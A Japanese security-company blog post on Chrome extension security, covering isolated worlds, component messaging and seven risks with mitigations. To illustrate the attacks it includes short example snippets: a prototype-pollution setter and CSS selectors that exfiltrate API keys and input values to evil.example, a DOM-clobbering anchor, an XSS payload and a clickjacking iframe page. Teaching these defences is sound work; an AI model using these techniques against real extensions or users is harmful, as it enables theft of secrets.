GMO Flatt Security Blog

GMO Flatt Security株式会社の公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

GMO Flatt Security株式会社の公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

Chrome拡張機能の開発で気をつけたいセキュリティリスク

はじめに

こんにちは。GMO Flatt Security株式会社 セキュリティエンジニアの大塚 (@Alphe) です。

最近、AIを活用したバイブコーディングでブラウザ拡張機能を開発するケースが増えています。「コードが書けなくてもChrome拡張を作れる — AI時代の個人開発入門」「Qiitaのトレンド記事をワンクリックで確認できるChrome拡張を作った」といった書籍や記事が頻繁に投稿されているほか、企業でも社内向けChrome拡張を開発・共有する動きが広がっています。

ブラウザ拡張機能は、手軽にWebページの見た目や操作性を自分好みにカスタマイズしたり、日々の作業を自動化したりできる便利な仕組みです。しかし、当然ながら拡張機能特有のセキュリティリスクも存在します。

本記事ではブラウザ拡張機能の仕組みとアタックサーフェスを整理したうえで、代表的な攻撃手法と対策を解説していきます。なお、ブラウザごとに挙動が異なる部分があるため、ここではChrome拡張機能(Manifest V3)を対象として紹介します。

また、本記事の内容は 公開社内勉強会 vol.4 ブラウザ拡張のセキュリティの話の内容を参考に、一部改変・補足したものです。スライドも公開していますので、併せてご参照ください。

目次

ブラウザ拡張機能の仕組みと全体像

ブラウザ拡張機能とは、Webページのスクリプトに追加で処理を加えてUI/UXを変更したり、ブラウザ専用のAPIを活用した機能拡張を実現する仕組みです。広告ブロッカーやパスワードマネージャーが代表的な例として挙げられます。手軽に開発できる一方で、通常のWeb開発とは少し異なる特徴があります。まずはその仕組みを整理しておきましょう。

ブラウザ拡張機能はどのように動くのか

通常のWebページはHTML・CSS・JavaScriptの組み合わせで動作しており、そのJavaScriptはページを提供するサーバーから配信されたものです。ブラウザ拡張機能は、このWebページに対して拡張機能の開発者が書いたJavaScriptを追加で実行できる仕組みだと考えると分かりやすいでしょう。Webページ側が定めたスクリプトに加えて、拡張機能のスクリプトがページ上で動くことになります。

ブラウザ拡張機能の最大の特徴は、WebExtensions APIの存在です。chrome.cookies(Cookie操作)やchrome.tabs(タブの情報取得や操作)など、通常のJavaScriptからはアクセスできないブラウザの機能にアクセスできます。

こうした強力な権限を持つことから、セキュリティを維持するために実行環境の分離が行われています。それはMain WorldとIsolated Worldという2つの環境です。WebページのJavaScriptはMain Worldで動作し、拡張機能のスクリプトは基本的にIsolated WorldというWebページとは隔離された環境で動きます。

両スクリプトは同じDOMツリーを参照できますが、JavaScriptのグローバルオブジェクトは共有されません。 例えば以下のように、Webページ側のスクリプトがwindowオブジェクトに独自のプロパティmyVarを追加し、あわせてDOMにも属性を設定した場合を考えます。 このとき、Content Script側からDOMの属性は参照できますが、window.myVarundefinedとなりアクセスできません。

// Webページ側のスクリプト(Main World)
window.myVar = "hello";
document.body.setAttribute("data-page", "world");
  
// 拡張機能のContent Script(Isolated World)
console.log(window.myVar);  // undefined(グローバルオブジェクトは共有されない)
console.log(document.body.getAttribute("data-page")); // "world"(DOMは共有される) 

このように、Webページと拡張機能の実行環境を分離することで、Webページ上のスクリプトによって拡張機能の権限が直接悪用されることを防いでいます1。 また、セキュリティ以外の側面として双方が同じ名前のグローバル変数を定義しても互いの動作に影響を与えないというメリットもあります。

なお、拡張機能の実装によってはMain Worldで拡張機能のスクリプトを実行することも可能ですが、その場合はJavaScriptの実行環境が分離されないためセキュリティに十分注意する必要があります。

Main WorldとIsolated Worldの概念図
(図は https://zenn.dev/canalun/articles/domdomtimes_dom_wrapper より引用)

ただし、DOMは共有されている点には注意が必要です。拡張機能がDOMに書き込んだ内容はWebページ側からも読み取れますし、逆にWebページが改変したDOM要素を拡張機能が信頼して処理すると、セキュリティ上の問題につながることがあります。

拡張機能の主な構成要素

ブラウザ拡張機能は主に以下の要素で構成されます。

  • manifest.json — 拡張機能のメタ情報に加え、使用する権限や使用するファイルなど、拡張機能全体の構成を定義する設定ファイル。
  • Content Script — 閲覧中のWebページに挿入され、ページのDOMを直接読み書きできるスクリプト。
  • Service Worker — UIを持たずバックグラウンドで動作し、拡張機能全体のイベント処理やWebExtension APIの呼び出しを担う。Manifest V2では「Background Script」と呼ばれていたもの。
  • UI Elements (Popup/Options Page/Side Panel) — 拡張機能のアイコンをクリックした際に表示されるUI。
  • Web Accessible Resources(WAR) — Webページのコンテキストからアクセス可能なリソース。画像やHTMLファイルなどをWebページ上で使いたい場合にmanifest.jsonで宣言する。

また、Chrome公式のチュートリアルを参考にすると、基本的なディレクトリ構成は以下のようになります。

my-extension/
├── manifest.json
├── background.js
├── scripts/
│   └── content.js
├── popup/
│   ├── popup.html
│   ├── popup.js
│   └── popup.css 
└── images/
    ├── icon-16.png
    ├── icon-48.png
    └── icon-128.png

ただし実際の開発では、ReactやVueなどのフレームワークを使ったり、フロントエンド側でUIとロジックで分けたりと、上記の構造がそのまま使用されるとは限りません。

コンポーネント間の通信

各コンポーネント間のメッセージのやり取りには、用途に応じて異なるAPIを使用します。詳細は以下の表のとおりです。

通信経路 使用するAPI
Main WorldのContent Script
↔ Isolated WorldのContent Script
DOMを介したメッセージング
window.postMessage / document.dispatchEvent
Service Worker / Popup / Options Page
→ Content Script
chrome.tabs.sendMessage
Content Script
→ Service Worker / Popup / Options Page
chrome.runtime.sendMessage
Service Worker / Popup / Options Page 同士 chrome.runtime.sendMessage

これらのAPIの使い分けは、各コンポーネントの配置構造をイメージすると整理しやすくなります。 Content Scriptはユーザーが開いている各タブの内部にそれぞれ独立して複製・挿入されます。 一方、Service WorkerやPopupは、いずれも各タブから完全に切り離された拡張機能全体で共有される実行環境で動作します。

Content Scriptに対してメッセージを送る際は特定のタブに対してメッセージを送信するためchrome.tabs.sendMessageを使用し、タブから切り離された実行環境で動くコンポーネントに対して送信する際はchrome.runtime.sendMessageを使用する考えると良いでしょう。

拡張機能の各コンポーネントの通信方法を図にまとめると、次のようになります。

拡張機能の各コンポーネントの通信方法

オリジンの違い

拡張機能のコンポーネントは、通常のWebページとは異なる特殊なオリジン(chrome-extension://[拡張ID])が割り当てられます。これらは通常のWebサイトとは隔離された独自のオリジンで動作するため、Webページ側から直接アクセスすることはできません。

ただし、例外としてContent Scriptのオリジンは挿入先のWebページと同じになります。そのため、localStorageなどオリジンに紐づくストレージはWebページと共有されるといったセキュリティ上の注意点があります。

各コンポーネントにおけるオリジンの確認方法

各コンポーネントのオリジンは、拡張機能を実行した状態でDevToolsのConsoleから確認できます。

Content Scriptのオリジンは、WebページのDevToolsで確認できます。Consoleの上部にあるコンテキスト切り替えのドロップダウンから拡張機能の名前を選択し、以下のコードを実行してください。

// Content Script内で実行
console.log(window.origin); // => "https://website.example"(挿入先のWebページと同じ)

PopupやOptions Pageのオリジンの確認は、ページ上の要素を右クリックして「検証」を選択し、開いたDevToolsのConsoleから行えます。これらはchrome-extension://[拡張ID]オリジンで動作していることが確認できます。

Service Workerのオリジンは、アドレスバーにchrome://extensions/を入力し、該当の拡張機能の「service worker」リンクをクリックして開いたDevToolsで確認できます。なお、Service WorkerにはDOMが存在しないためwindowは使えません。代わりにglobalThisを使用します。

// Service Worker内で実行
console.log(globalThis.origin); // => "chrome-extension://abcdefg..."

Content Scriptは挿入先のWebページと同じオリジンで動作するのに対し、Service Workerをはじめとした他の拡張機能のスクリプトはchrome-extension://オリジンで動作していることが確認できます。

アタックサーフェス

ブラウザ拡張機能に対するアタックサーフェス(攻撃の起点となりうる領域)は、主に以下の3つに分類できます。

拡張機能が読み込んだWebサイト — 悪意のあるWebページや、攻撃者に侵害された脆弱なWebページ上で拡張機能が動作する場合に攻撃が成立する可能性があります。拡張機能がDOM情報を扱うことで脆弱性が生まれることが一般的ですが、WebサイトからのHTTPヘッダーやCookieなどを処理する場合も注意が必要です。

拡張機能への直接的な入力 — 拡張機能がユーザーの入力値やURLパラメータの値を検証せずに、WebExtension APIの設定値などに使用している場合に攻撃が成立します。なお、基本的にPopupやOptions Pageへの攻撃はソーシャルエンジニアリングが前提となるため、攻撃成立の可能性は低くなります。

通信相手からのデータ — 他のブラウザ拡張機能や拡張機能内部で通信しているサーバーからのデータを検証せずに処理することで生じる攻撃です。なお、拡張機能間の通信は、送信元が受信側の拡張IDを指定する必要があることに加え、ユーザーに悪意のある拡張機能をインストールさせることが前提となるため、攻撃が成立する可能性は比較的低いといえます。

本記事では、ブラウザ拡張機能ならではのリスクを持つ「拡張機能が読み込んだWebサイト」をアタックサーフェスとして考えます。 残る2つのアタックサーフェスは、攻撃の成立に拡張機能の利用者からの操作や開発者が信頼した通信先の侵害を前提としており、外部から直接攻撃されるリスクは低くなるため解説は割愛します。

ブラウザ拡張機能におけるセキュリティリスク

ここからは、ブラウザ拡張機能の開発において注意すべき代表的なセキュリティリスクとその対策を解説します。

リスク1: 過剰な権限

ブラウザ拡張機能が利用できるブラウザの機能や、アクセス可能なWebサイトの範囲はmanifest.jsonで宣言します。 以下のコードはContent Scriptをすべてのページで動作させ、CookieへのアクセスやWebリクエストの処理を許可している危険な設定例です。

{
  // ...
  "content_scripts": [
    {
      "js": ["content.js"],
      "matches": ["http://*/*", "https://*/*"],
      "all_frames": true
    }
  ],
  "permissions": [
    "cookies",
    "webRequest"
  ]
}

過剰な権限そのものは直接的な脆弱性ではありません。しかし、後述する他の脆弱性が存在した場合、攻撃の影響範囲を拡大させます。たとえば今回の例だと、Content ScriptにXSSの脆弱性があれば、攻撃者のWebページ経由で他オリジンのCookieにアクセスされる恐れがあります。

対策: 権限とアクセス範囲を必要最小限にする

matchesの値に<all_urls>https://*/*といった広いマッチパターンを指定したり、permissionshost_permissionsに不必要な権限を付与したりすることは避け、必要最小限の権限に留めてください。

リスク2: Content ScriptにおけるXSS

Content ScriptはWebページのDOMやwindow.postMessageからデータを受け取って処理を行います。このデータの取り扱いに不備がある場合、XSSにつながることがあります。

Content Scriptを起点としたXSSは、スクリプトが発火する場所によって2つに分類できます。

Webページ上で発火するXSS

Content ScriptがWebページのDOMやクエリパラメータなどから取得したデータを、検証せずにinnerHTML等でページに挿入すると、そのWebページのコンテキストでXSSが発火します。

たとえば、チャットアプリのメッセージにカスタム装飾を加えるブラウザ拡張機能を考えます。攻撃者が悪意のあるメッセージを送信し、被害者がそれを拡張機能で読み取るシナリオを想定してください。 チャットアプリ自体がメッセージをサニタイズして安全に表示していても、Content Scriptがメッセージ内容をDOMから読み取り、装飾を加えてHTMLとしてWebページに入力した場合はXSSに繋がることがあります。

// 脆弱なContent Scriptの例
const message = document.querySelector(".message").textContent;
const decorated = `<span class="highlight">${message}</span>`;

// messageに <img src=x onerror=alert(1)> が含まれていればXSSが発火する
document.querySelector(".decorated-view").innerHTML = decorated;

一般に、XSSの緩和策としてCSP(Content Security Policy)を使用することがあります。 拡張機能のmanifest.jsonはcontent_security_policyのパラメータでCSPの設定ができますが、このCSPが適用されるのは拡張機能のコンテキスト上で実行されるスクリプトのみになります。

そのため、Content Scriptが原因でWebページ側に発生するXSSについては、 Webページ側のCSPのみが適用され、manifest.jsonのcontent_security_policyで攻撃を緩和することはできません

ただし、このXSSはあくまでWebページのコンテキストで実行されるため、拡張機能の強力な権限が悪用されることはありません。

拡張機能のUI上で発火するXSS

Content Scriptが受け取ったデータがchrome.runtime.sendMessage等を経由してPopupやOptions Pageに渡り、検証なくHTMLとしてレンダリングされた場合、拡張機能のUI上でXSSが発火します。

このXSSは悪意のあるスクリプトの実行がWebページではなく拡張機能側のコンテキストで行われます。 そのため、仮にXSSが成立した場合は拡張機能に付与された権限の悪用が可能になり、Webページ上のXSSと比べて影響は大きくなります。

ただし、現在のChrome拡張機能の基本仕様であるManifest V3では、拡張機能のページに対して最低限のCSPがデフォルトで適用されています。

// Manifest V3で拡張機能のページに強制される最低限のCSP設定
{
  // ...
  "content_security_policy": {
    "extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self';"
  }
  // ...
}

開発者は独自にこのcontent_security_policyパラメータを設定してセキュリティを緩和しようとしても、 unsafe-inlineunsafe-evalを指定すること自体が仕様として禁止されています。 もしインラインスクリプトを実行したい場合は、CSPのhashnonceによる明示的な許可が必要になります。

そのため、Chrome拡張機能のManifest V3では単純なXSSペイロードだけで拡張機能のJavaScriptを悪用することは難しくなっており、 拡張機能の侵害には、後述するDOM Clobberingの脆弱性や拡張機能側に存在する危険な処理を組み合わせることが前提となります。

対策: 信頼できない値をHTMLとしてレンダリングしない

外部から入力された値をHTMLとしてレンダリングしないことが基本です。DOMへの挿入にはinnerHTMLではなく、textContentのような値をHTMLとして解釈しないAPIを使用してください。HTMLとして挿入する必要がある場合は、DOMPurifyなどのライブラリで適切にサニタイズしてください。

リスク3: 安全でないメッセージ通信

Content ScriptはIsolated Worldで動作しますが、DOMはWebページと共有されているため、Webページから送信されたwindow.postMessageによるメッセージイベントもContent Scriptで受信できます。このとき、送信元のオリジンを検証せずに受信した値を処理すると、攻撃者が用意したWebページから悪意あるデータを注入される可能性があります。

// 脆弱なContent Scriptの例
window.addEventListener("message", (event) => {
  // オリジンを検証していない
  if (event.data.type === "FETCH_DATA") {
    chrome.runtime.sendMessage({ action: "fetch", url: event.data.url });
  }
});

対策: メッセージ送信元のオリジンを検証する

event.originでオリジンを検証し、信頼できる送信元からのメッセージのみを処理することが有効です。

ただし、sandbox属性のついた<iframe>からのメッセージはevent.originの値がnullになるなど、オリジンの検証が困難な場合もあります。その場合は、受信した値自体を許可リスト方式で検証するか、設計の見直しを検討してください。

リスク4: クリックジャッキング

クリックジャッキングとは、UIを偽装してユーザーに意図しないクリックをさせる攻撃手法です。 ブラウザ拡張機能のクリックジャッキングは大きく分けてiframe型とDOM型に分類されます。

iframe型

manifest.jsonのweb_accessible_resourcesに機密情報を含むHTMLが定義されている場合、攻撃者はそのHTMLを透明なiframeとして読み込み、ユーザーにクリックを誘導するページを作成できます。

// 脆弱なmanifest.jsonの例(公開範囲の制限がない)
{
  // ...
  "web_accessible_resources": [
    {
      "resources": ["secret.html"],
      "matches": ["<all_urls>"]
    }
  ]
}
// 攻撃者のWebページ
<div style="position:relative;">
  <button style="position:absolute; z-index:1;">賞品を受け取る</button>
  <iframe src="chrome-extension://[拡張ID]/secret.html"
          style="opacity:0; position:absolute; z-index:2;"></iframe>
</div>

ユーザーには「賞品を受け取る」ボタンしか表示されませんが、実際にクリックされるのはその上に重なった透明なiframe内の拡張ページです。パスワードマネージャーのような拡張機能では、この手法によりAPIキーのコピーボタンを押させるといった攻撃が考えられます。MetaMaskでは、このiframe型クリックジャッキングにより同意なしに仮想通貨を送金させる脆弱性が報告されていました2

なお、この攻撃には拡張IDの特定が前提となりますが、Chromeウェブストア等で拡張機能を公開している場合は外部からIDを確認できます。また、非公開やローカル環境での利用であっても、manifest.jsonのweb_accessible_resourcesにおいてuse_dynamic_urltrueに設定していない場合、拡張IDは固定値となります。そのため、IDが漏洩した場合に本攻撃を試みることが可能になります。

DOM型

Content ScriptがWebページのDOMにボタンなどのUI要素を挿入している場合、悪意あるWebページのCSSやJavaScriptによって、挿入された要素の表示が操作される恐れがあります。UI要素を透明にして画面いっぱいに引き伸ばすなどして、ユーザーに意図せずクリックをさせることが可能です。

対策: Webページから干渉可能な要素を最小限にする

iframe型の攻撃は、機密情報を含むHTMLをweb_accessible_resourcesに含めないことで対策が可能です。 含める必要がある場合は、manifest.jsonの設定でアクセス可能なオリジンを制限し、web_accessible_resourcesの設定でuse_dynamic_urltrueに設定して拡張IDの推測を困難にすることが有効です。

DOM型への対策としては、重要な操作を伴うUIをWebページのDOM上ではなく、PopupやSide Panelなど拡張機能固有のUIに配置すると良いでしょう。また、重要な操作の前に拡張機能による確認ダイアログを挟み、ユーザーの明示的な承認を求めることも有効です。

WebページのDOM上にUI要素を配置せざるを得ない場合は、複数の防御策を組み合わせることが重要になります。 例えば、強固なiframeによる分離や、MutationObserverを用いたDOMの改ざん検知などが緩和策として有効でしょう3

リスク5: 情報漏洩

Prototype汚染を介した漏洩

拡張機能がMain WorldでContent Scriptを実行し、そのスクリプト内で機密情報を扱う場合、Webページ側からPrototype汚染によってデータを窃取される恐れがあります。

// 攻撃者のWebページ
Object.defineProperty(Object.prototype, 'apiKey', {
  set: function(str) {
    fetch(`https://evil.example?data=${str}`);
    Object.defineProperty(this, 'apiKey', { value: str });
    return str;
  }
});
// 脆弱なService Workerの例
chrome.scripting.executeScript({
  target: { tabId },
  world: "MAIN",  // Main Worldで実行される
  func: (apiKey) => {
    const config = {};
    // configのsetterは汚染されており、値が攻撃者に送信される
    config.apiKey = apiKey;
  },
  args: [apiKey],
});

この例ではchrome.scripting.executeScriptworld: "MAIN"を指定しているため、スクリプトはWebページと同じJavaScriptコンテキストで実行されます。攻撃者がWebページ側でObject.prototypeのプロパティのsetterを上書きしているため、拡張機能がそのプロパティに値を代入した際に値が窃取されます。

DOMへの機密情報の書き込み

Content ScriptがWebページのDOMに機密情報をレンダリングすると、Webページ側のJavaScriptからその情報を読み取れます。 Shadow DOMによるDOMの分離によって対策を試みる実装もありますが、Open Shadow DOMはWebページからelement.shadowRootでアクセス可能です。Closed Shadow DOMについても、Firefoxにはバイパス手法が報告されているほか、他のブラウザ拡張機能からはopenOrClosedShadowRoot() APIで突破できるため、完全な防御策にはなりません。4

対策: 機密情報をWebページから隔離する

Prototype汚染を介した情報漏洩の対策は、機密情報を扱うスクリプトをMain Worldで実行しないことが最も確実です。やむを得ずMain Worldで実行する必要がある場合は、機密情報をグローバルオブジェクトのプロパティに代入せず、ローカル変数やクロージャ内に閉じ込めることで、Prototype汚染の影響を受けにくくなります。

また、DOMからの情報漏洩に対しては、機密情報を表示する場合はPopupやSide Panelなど、Webページから隔離された拡張機能固有のUIを使用することが有効です。

リスク6: DOM Clobbering

DOM Clobberingとは、HTMLのid属性やname属性を利用して、JavaScriptのグローバル変数やDOMプロパティを上書きする攻撃手法です。ブラウザはHTML仕様に基づき、id属性を持つ要素をwindowオブジェクトのプロパティとして自動的に登録します。たとえば、<img id="config">という要素が存在するだけで、window.configはこの<img>要素への参照になります。

ブラウザ拡張機能ではContent ScriptとWebページがDOMを共有しているため、攻撃者がWebページ上にDOM Clobberingを引き起こすHTML要素を配置し、Content Scriptの処理を改ざんできる可能性があります。

たとえば、以下のContent Scriptがwindow.configを参照してリクエスト先を決定しているとします。

// 脆弱なContent Scriptの例
const url = window.config || "https://vuln.example";
fetch(url);

攻撃者がWebページに<a id="config" href="https://evil.example">を配置すると、window.configはこの<a>要素への参照で上書きされるため、url変数には<a>要素が代入されます。さらに、fetchに渡される際に<a>要素のtoString()が呼ばれ、href属性の値が文字列として使われるため、リクエスト先が攻撃者のURLに置き換わります。

対策: グローバル変数を信頼せず型や値を検証する

Content Script内ではグローバル変数(windowのプロパティ)を信頼できない値として扱い、参照する場合は型や値を検証してから使用してください。

リスク7: CSS Injection

Content ScriptがWebページのDOMから取得した値を検証せずにスタイルとして挿入した場合や、innerHTML等によるHTMLインジェクションで<style>タグを注入された場合に、攻撃者が任意のCSSを注入できる可能性があります。CSSはスクリプトではありませんが、悪用によってさまざまな攻撃ができます。

たとえば、input[value^="a"]のような属性セレクタを大量に用意し、それぞれに異なるbackground-image: url("https://evil.example?char=a")を指定することで、入力フォームの値を1文字ずつ外部に送信できます。これにより、DOM内に記載されたパスワードやトークンといった機密情報が窃取される恐れがあります。

// 攻撃者が注入するCSSの例
input[value^="a"] { background-image: url("https://evil.example?char=a"); }
input[value^="b"] { background-image: url("https://evil.example?char=b"); }
/* ... 以下、文字ごとに繰り返す */

このほかにも、ページ全体をopacity: 0にした上で偽のUIを重ねるフィッシング攻撃や、contentプロパティでDOM上のテキストを書き換える攻撃も考えられます。

対策: 信頼できない値をCSSとして扱わない

ユーザー入力や外部データをCSSとして挿入しないことが基本です。動的にスタイルを適用する必要がある場合は、値を事前に定義した許可リストと照合するか、element.styleのプロパティに直接代入することで、任意のCSSルールの注入を防げます。

また、PopupやOptions Pageなどの拡張機能のページに対しては、CSPのstyle-srcディレクティブでインラインCSSや外部CSSの読み込みを制限することも有効です。ただし、Content Scriptが動作するWebページのCSPは拡張機能側からは制御できないため、Webページ上でのCSS Injectionに対してはコードレベルでの対策が必要になります。

対策のまとめ

最後に、ブラウザ拡張機能の開発で押さえておきたい対策をまとめます。

信頼できない値を検証・サニタイズする — DOMやpostMessageから取得した値は、すべて信頼できない値として扱ってください。postMessageではevent.origin等で送信元を検証し、外部からの入力値をDOMに挿入する際は、innerHTMLのようにHTMLとして解釈されるAPIの使用を避けましょう。また、グローバル変数(windowのプロパティ)はDOMを共有するWebページ側から上書きされる可能性があるため使用には十分注意してください。

manifest.jsonの設定を適切に行うpermissionsmatchesなどの設定値は実際に必要なものだけに絞ってください。また、content_security_policyでCSPを適切に設定することや、web_accessible_resourcesの設定でuse_dynamic_urlの値をtrueにして拡張IDの推測を困難にすることも有効です。

機密情報や重要なUIをWebページから隔離する — 拡張機能とWebページはDOMを共有しており、互いに参照できるため、機密情報を含まないようにしましょう。また、機密情報を扱うスクリプトはMain Worldで実行せず、機密情報の表示や重要な操作を伴うUIはPopupやSide PanelなどWebページから独立した拡張機能固有のUIに配置してください。

なお、拡張機能をChromeウェブストア等で公開する場合、拡張IDが外部から確認できるようになるほか、ソースコードも容易に取得・閲覧できます。 開発した拡張機能が第三者に悪用されるのを防ぐために、本記事で紹介した対策が十分に行われているか、 APIキーなどの機密情報がソースコード内にハードコードされていないかも公開前に必ず確認しましょう。

また、OWASPが公開しているBrowser Extension Vulnerabilities Cheat Sheetでは、ブラウザ拡張機能の脆弱性と対策が体系的にまとめられています。本記事で取り上げきれなかった観点もカバーされているため、あわせて参照してみてください。

終わりに

本記事ではブラウザ拡張機能の仕組みとアタックサーフェスを整理し、具体的なセキュリティリスクとその対策を解説しました。

ブラウザ拡張機能はWebページやブラウザの操作を柔軟にカスタマイズできる一方、情報漏洩などのセキュリティリスクも伴います。 バイブコーディングで手軽に拡張機能を作れるようになった今だからこそ、生成されたコードのmanifest.jsonの権限設定や、外部からの入力の取り扱いなどを改めて確認していただければと思います。本記事がブラウザ拡張機能の開発やレビューにおけるセキュリティ対策の参考になれば幸いです。

ここまでお読みいただきありがとうございました。


  1. 詳しく知りたい方はこちらのブログがおすすめです: https://zenn.dev/canalun/articles/domdomtimes_dom_wrapper
  2. https://metamask.io/ja/news/metamask-security-monthly-june-2022
  3. 実際にパスワードマネージャーで有名なBitwardenの拡張機能では、MutationObserverを用いてクリックジャッキングの脆弱性を修正した実例があります。(参考: https://github.com/bitwarden/clients/pull/7001
  4. https://speakerdeck.com/masatokinugawa/shibuya-dot-xss-techtalk-number-13